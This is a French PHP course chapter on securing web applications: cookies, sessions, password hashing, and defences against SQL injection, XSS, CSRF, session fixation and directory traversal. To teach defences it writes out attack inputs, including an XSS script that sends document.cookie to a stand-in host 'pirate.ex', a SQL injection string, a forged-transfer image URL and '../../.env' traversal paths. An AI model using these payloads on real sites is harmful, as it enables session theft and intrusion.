Module 3Manipuler les données
Chapitre 8 sur 11
Sécuriser les données
Utiliser les cookies et les sessions, hacher les mots de passe et se protéger des attaques courantes.
- ≈ 135 min
- 5 leçons
- 3 vidéos
- 3 exercices
Module 3Manipuler les données
Chapitre 8 sur 11
Utiliser les cookies et les sessions, hacher les mots de passe et se protéger des attaques courantes.
Objectifs
Avec ce chapitre, tu sauras…
session_start, $_SESSION, déconnexion ;php.ini, rapport d'erreurs, droits.HTTP est un protocole sans état (chapitre 1) : le serveur ne se souvient pas, d'une requête à l'autre, qu'il parle au même visiteur. Pour qu'un utilisateur reste connecté ou garde son panier, il faut des mécanismes supplémentaires : les cookies et les sessions.
Leçon 1
<?php
// créer : AVANT tout affichage (c'est un en-tête HTTP)
setcookie('theme', 'sombre', [
'expires' => time() + 30 * 24 * 3600, // dans 30 jours (timestamp Unix)
'path' => '/', // valable sur tout le site
'secure' => true, // envoyé seulement en HTTPS
'httponly' => true, // inaccessible à JavaScript
'samesite' => 'Lax', // pas envoyé lors des requêtes POST venant d'autres sites
]);
// lire : disponible à la requête SUIVANTE
$theme = $_COOKIE['theme'] ?? 'clair';
// supprimer : une date d'expiration dans le passé
setcookie('theme', '', ['expires' => time() - 3600, 'path' => '/']);| Option | Rôle |
|---|---|
expires | date d'expiration (timestamp) ; 0 : supprimé à la fermeture du navigateur |
path, domain | le chemin et le (sous-)domaine où le cookie est envoyé |
secure | envoyé uniquement en HTTPS |
httponly | invisible pour JavaScript (document.cookie) : protège contre le vol par XSS |
samesite | Strict (jamais envoyé depuis un autre site), Lax (seulement les navigations GET), None (toujours, avec secure) : protège contre le CSRF |
Leçon 2
| Cookie | Session | |
|---|---|---|
| stockage | chez le client | sur le serveur (seul l'identifiant est dans un cookie) |
| modifiable par l'utilisateur | oui | non |
| taille | 4 Ko par cookie | sans limite pratique |
Leçon 3
Vidéo · À regarder
ENPHP Full Course 2025 - Learn PHP from Scratch
Dani Krossing · YouTube
Vidéo · À regarder
ENLeçon 4
| Attaque | Principe | Parade |
|---|---|---|
| injection SQL | une saisie contient du SQL qui modifie la requête | requêtes préparées (chapitre 7) ; compte MySQL aux droits limités |
| XSS (cross-site scripting) | une saisie contient du JavaScript, affiché puis exécuté chez les autres visiteurs | htmlspecialchars() à l'affichage ; cookies httponly |
| CSRF (falsification de requête intersite) | un autre site fait envoyer au navigateur d'un utilisateur connecté une requête à son insu | jeton CSRF dans les formulaires ; samesite ; POST pour les modifications |
Leçon 5
| Directive | Valeur conseillée | Effet |
|---|---|---|
session.use_only_cookies | 1 | l'identifiant n'est jamais accepté dans l'URL |
session.use_strict_mode | 1 | refuse un identifiant inventé par le client (fixation) |
session.cookie_httponly | 1 | cookie de session inaccessible à JavaScript |
session.cookie_secure |
1Les données d'une session sont stockées…
2Pour qu'un cookie soit invisible pour JavaScript :
3session_start() doit être appelé…
4Pour stocker un mot de passe :
5La parade principale contre l'injection SQL est…
6La parade principale contre le XSS est…
7session_regenerate_id(true) à la connexion protège contre…
8En production, display_errors vaut…
L'essentiel du chapitre
setcookie(nom, valeur, ['expires', 'path', 'secure', 'httponly', 'samesite']) avant tout affichage ; lecture dans $_COOKIE ; jamais de donnée de confiance dans un cookie.session_start() en tête de page ; $_SESSION ; déconnexion : vider, supprimer le cookie, session_destroy().password_hash() / password_verify() ; session_regenerate_id(true) à la connexion.htmlspecialchars (XSS), jeton CSRF + samesite (CSRF), basename (traversée), HTTPS + httponly + secure (vol de session).display_errors = Off, log_errors = On, expose_php = Off, configuration hors du dossier public, mises à jour.| durée |
| jusqu'à la date d'expiration choisie |
| jusqu'à la fermeture du navigateur ou l'inactivité (24 min par défaut) |
| usage | préférences (langue, thème), « se souvenir de moi » | utilisateur connecté, panier, messages à afficher |
Vidéo · À regarder
ENPHP Full Course 2025 - Learn PHP from Scratch
Dani Krossing · YouTube
PHP Full Course 2025 - Learn PHP from Scratch
Dani Krossing · YouTube
| vol de session | l'attaquant récupère l'identifiant de session (XSS, réseau non chiffré) | HTTPS, httponly, secure, expiration courte |
| fixation de session | l'attaquant impose un identifiant connu avant la connexion | session_regenerate_id(true) à la connexion ; use_strict_mode |
| traversée de répertoire | ?fichier=../../config.php pour lire ou supprimer des fichiers | basename(), liste blanche de fichiers, droits limités |
| force brute | essayer des milliers de mots de passe | limiter les tentatives, délai, CAPTCHA |
| mots de passe volés | la base est dérobée | password_hash() |
1 (en HTTPS)| cookie envoyé seulement en HTTPS |
session.cookie_samesite | Lax ou Strict | limite les attaques CSRF |
session.cookie_lifetime | 0 | le cookie disparaît à la fermeture du navigateur |
session.gc_maxlifetime | aussi court que possible (par exemple 1800) | durée de vie des sessions inactives |
session.use_trans_sid | 0 | pas d'identifiant ajouté automatiquement aux liens |
Le cookie est stocké chez le client : il peut le lire et le modifier (outils de développement, onglet Application). N'y mets jamais de donnée sensible ou de confiance (role=admin, un mot de passe, un prix). Pour cela, on utilise la session, stockée côté serveur.
Une session stocke des données sur le serveur pour un visiteur donné. Le serveur crée un identifiant de session unique et aléatoire, qu'il envoie au navigateur dans un cookie (nommé PHPSESSID par défaut). À chaque requête, le navigateur renvoie ce cookie, et PHP retrouve les données dans $_SESSION.
1re requête navigateur ──────────────────────► serveur : session_start() crée l'id a3f9…
navigateur ◄── Set-Cookie: PHPSESSID=a3f9… et stocke $_SESSION dans un fichier
requêtes navigateur ── Cookie: PHPSESSID=a3f9… ──► serveur : session_start() recharge
suivantes les données de a3f9… dans $_SESSION<?php
session_start(); // en tout début de CHAQUE page qui utilise la session
$_SESSION['prenom'] = 'Sara'; // écrire
$_SESSION['panier'][] = 'Clavier'; // un tableau en session
echo $_SESSION['prenom'] ?? 'invité'; // lire (sur cette page ou une autre)
unset($_SESSION['panier']); // supprimer une donnée<?php
session_start();
$_SESSION = []; // vider les données
if (ini_get('session.use_cookies')) {
$p = session_get_cookie_params();
setcookie(session_name(), '', time() - 3600, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
}
session_destroy(); // supprimer le fichier de session
header('Location: connexion.php');
exit;Les mots de passe
Si la base est volée, tous les mots de passe seraient lisibles (et les gens réutilisent leurs mots de passe ailleurs). On stocke une empreinte (un hash) calculée par password_hash(), qui utilise un algorithme lent (bcrypt ou Argon2) et un sel aléatoire différent pour chaque utilisateur. On vérifie avec password_verify(). N'utilise jamais md5() ou sha1() pour des mots de passe : ils sont beaucoup trop rapides à attaquer.
<?php
$hash = password_hash('MonMotDePasse#2026', PASSWORD_DEFAULT);
// $2y$10$Qe8z… : 60 caractères, différent à chaque appel grâce au sel
var_dump(password_verify('MonMotDePasse#2026', $hash)); // bool(true)
var_dump(password_verify('mauvais', $hash)); // bool(false)CREATE TABLE utilisateurs (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(100) NOT NULL UNIQUE,
mot_de_passe VARCHAR(255) NOT NULL, -- 255 : les algorithmes futurs produiront des hachés plus longs
role ENUM('stagiaire', 'formateur', 'admin') NOT NULL DEFAULT 'stagiaire'
);<?php
session_start();
require __DIR__ . '/config/database.php';
$erreur = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = trim($_POST['email'] ?? '');
$mdp = $_POST['mot_de_passe'] ?? '';
$stmt = connexion()->prepare('SELECT id, email, mot_de_passe, role FROM utilisateurs WHERE email = ?');
$stmt->execute([$email]);
$u = $stmt->fetch();
if ($u && password_verify($mdp, $u['mot_de_passe'])) {
session_regenerate_id(true); // nouvel identifiant : contre la fixation de session
$_SESSION['utilisateur'] = ['id' => $u['id'], 'email' => $u['email'], 'role' => $u['role']];
header('Location: tableau_de_bord.php');
exit;
}
$erreur = 'E-mail ou mot de passe incorrect.'; // ne pas dire lequel des deux est faux
}
?>
<?php if ($erreur): ?><p style="color:red"><?= $erreur ?></p><?php endif; ?>
<form method="post">
<input type="email" name="email" placeholder="E-mail" required>
<input type="password" name="mot_de_passe" placeholder="Mot de passe" required>
<button>Se connecter</button>
</form><?php
session_start();
function exigerConnexion(?string $role = null): array
{
$u = $_SESSION['utilisateur'] ?? null;
if (!$u) {
header('Location: connexion.php');
exit;
}
if ($role !== null && $u['role'] !== $role) {
http_response_code(403);
exit('Accès interdit.');
}
return $u;
}<?php
require __DIR__ . '/securite.php';
$u = exigerConnexion(); // redirige vers la connexion si besoin
echo 'Bienvenue ' . htmlspecialchars($u['email']);Le hachage des mots de passe en PHP (en anglais).
Tableau: Les sessions dans php.ini
Ajoute à ton projet : une table utilisateurs ; une page inscription_compte.php (e-mail unique, mot de passe d'au moins 10 caractères, haché) ; connexion.php avec session_regenerate_id et une limite de 5 tentatives par session ; deconnexion.php ; un fichier securite.php avec exigerConnexion() et des jetons CSRF. Protège toutes les pages du CRUD : seuls les formateurs peuvent ajouter, modifier ou supprimer ; les stagiaires peuvent seulement consulter la liste.
Pour chaque situation, nomme l'attaque et donne la parade : (1) un visiteur publie un commentaire contenant <img src=x onerror="alert(document.cookie)"> qui s'exécute chez tous les lecteurs ; (2) un formulaire de connexion accepte l'e-mail admin@site.ma' -- sans mot de passe ; (3) un e-mail piégé contient une image <img src="https://banque.ma/virement.php?vers=pirate&montant=5000"> ; (4) telecharger.php?f=../../.env affiche le mot de passe de la base.
Créer des sessions, puis sécuriser les sessions en PHP (en anglais).
Un système de connexion complet, première partie (en anglais).
L'injection SQL en détail
<?php
// FAILLE : la saisie est collée dans la requête
$email = $_POST['email']; // l'attaquant tape : ' OR '1'='1' --
$sql = "SELECT * FROM utilisateurs WHERE email = '$email'";
// la requête devient : SELECT * FROM utilisateurs WHERE email = '' OR '1'='1' -- '
// la condition est toujours vraie : l'attaquant se connecte avec le premier compte (souvent l'admin)
// CORRECTION : requête préparée, la saisie reste une simple valeur
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE email = ?');
$stmt->execute([$_POST['email']]);Le XSS en détail
<?php
// un visiteur publie ce commentaire :
$commentaire = '<script>fetch("https://pirate.ex/?c=" + document.cookie)</script>';
echo $commentaire; // FAILLE : le script s'exécute chez chaque lecteur
echo htmlspecialchars($commentaire); // CORRECT : <script>… s'affiche comme du texte
function e(?string $texte): string // une fonction courte pour tout le projet
{
return htmlspecialchars($texte ?? '', ENT_QUOTES, 'UTF-8');
}filter_var, ctype_digit, liste blanche de valeurs) ;htmlspecialchars() pour chaque donnée qui ne vient pas de ton code.Le jeton CSRF
<?php
session_start();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(32)); // un jeton aléatoire par session
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!hash_equals($_SESSION['csrf'], $_POST['csrf'] ?? '')) {
http_response_code(403);
exit('Requête refusée (jeton CSRF invalide).');
}
// … traitement de la suppression, du changement de mot de passe …
}
?>
<form method="post">
<input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>">
<button>Supprimer mon compte</button>
</form>Un site pirate peut faire envoyer un formulaire à ton site par le navigateur de la victime, mais il ne peut pas lire le jeton de sa session : la requête est rejetée. hash_equals() compare les chaînes en temps constant.
Les erreurs et le serveur
display_errors = Off, log_errors = On, error_log = /chemin/vers/php_errors.log : les erreurs sont enregistrées, jamais affichées ;error_reporting(E_ALL) pour repérer les variables non initialisées ;expose_php = Off : n'annonce pas la version de PHP dans les en-têtes ;root) ; les fichiers de configuration (mots de passe de la base) sont hors du dossier public ;Le résumé cite mysql_real_escape_string() et l'option register_globals : les deux ont disparu de PHP (respectivement en PHP 7 et PHP 5.4). L'échappement manuel est remplacé par les requêtes préparées.
Écris une page qui affiche « Tu as vu cette page N fois pendant cette visite » (compteur en session) et « Ta langue préférée : … » (cookie de 1 an, valeurs autorisées fr, ar, en, changées par des liens ?langue=…). Refuse toute valeur de langue non autorisée.